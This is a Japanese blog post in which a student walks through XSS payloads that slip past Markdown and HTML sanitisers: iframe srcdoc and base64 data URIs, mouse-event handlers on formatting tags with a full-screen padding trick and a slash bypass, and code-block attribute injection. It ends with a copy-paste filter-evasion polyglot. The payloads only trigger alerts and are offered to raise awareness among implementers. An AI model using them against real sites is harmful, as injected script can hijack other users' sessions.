Edited at

俺的MarkdownにおけるXSS

More than 1 year has passed since last update.


はじめに

Markdown便利ですよね。QiitaやGutHubなど主要なサービスでは主にMarkdownを使って記事の投稿だったり、中~長文を投稿するときにはよく使われていますよね

でもユーザーにWebページに投稿するときに気をつけないといけないのはXSS

インターンシップなどで学生が作ったサイトとかだと大体6割はXSSできちゃいます。(とか言う自分も学生なんですけどね!)

ここでは私個人が経験したXSSについて色々紹介したいと思います。

追記

書いてて思ったけど、Markdownあんまり関係ないです。


いってみよぉ!


HTML編

まず最初はこちら!


XSS.Markdown

<iframe srcdoc="<script>alert('XSS');</script>"></iframe>


メディア系の要素が使えてしまうパターン。

なんと言うか、これが使える場合は大体入力をそのまま何もエスケープせずに出力しているパターンが多いです。

ちなみにこういうパターンもあります。属性内部の文字列「<」や「>」だけがエスケープされていても下記のようにBase64でエスケープされずに通る場合もあります。


XSS.Markdown

<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk7PC9zY3JpcHQ+">


他にもvideo要素だったりaudio要素などもエスケープしましょう。

あずにゃんのキャラソンが勝手に再生されたりしちゃいます。

次はちょっと変わって装飾系要素について

Markdownを書いてて文字を太くしたりするときありますよね

そのときに出てくるのが<b>Hoge</b>要素ですね

これも実はXSSできるんです。


XSS.Markdown

<b onmousemove="alert('XSS')">XSS!</b>


マウスをXSSという文字列に持っていくとJavascriptが実行されます。

わざわざ文字列の場所にマウスを持っていかないといけないと、限定的だと思われますが、こういう場合は大体style属性も使えてしまうのでこうすれば画面のどこかにマウスを持っていけば実行されちゃったりするんです。


XSS.Markdown

<b onmousemove="alert('XSS')" style="padding: 10000px;margin: -10000px;">XSS</b>


また、<b nomouseとbとnの間の空白があるので空白をエスケープしても下記の方法で実行できる場合もあります。


XSS.Markdown

<b/onmousemove="alert('XSS')">XSS!</b>



Markdown編

Markdownの脆弱性はコード関係に多い印象です。

これは挙動がMarkdownの実装によって異なってきます。

実際にできたパターンを紹介したいと思います。

xss.png

HTMLではどのような挙動になっているかと言うと


XSS.html

<code lang="py" onmousemove='alert("XSS")'>

print(0)
</code>

こんな感じでXSSできちゃいます

(Qiitaにもその昔あったとか・・・?)


コピペでできる脆弱性診断

便利な奴があるので貼っときますね。

とはいえ簡易的なものなので過信はしないようにおねがいします

';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";

alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

XSS フィルター回避チートシートより


XSSについてもっと知りたい!

こちらのチートシートをよく見ると良いと思います。

XSS フィルター回避チートシート

「Markdown XSS」

「Qiita XSS」

などで検索すると色々出てきて面白いです。

とりあえず、自分が最近できたXSSを羅列しました。Markdownを実装するときは意識していきましょう。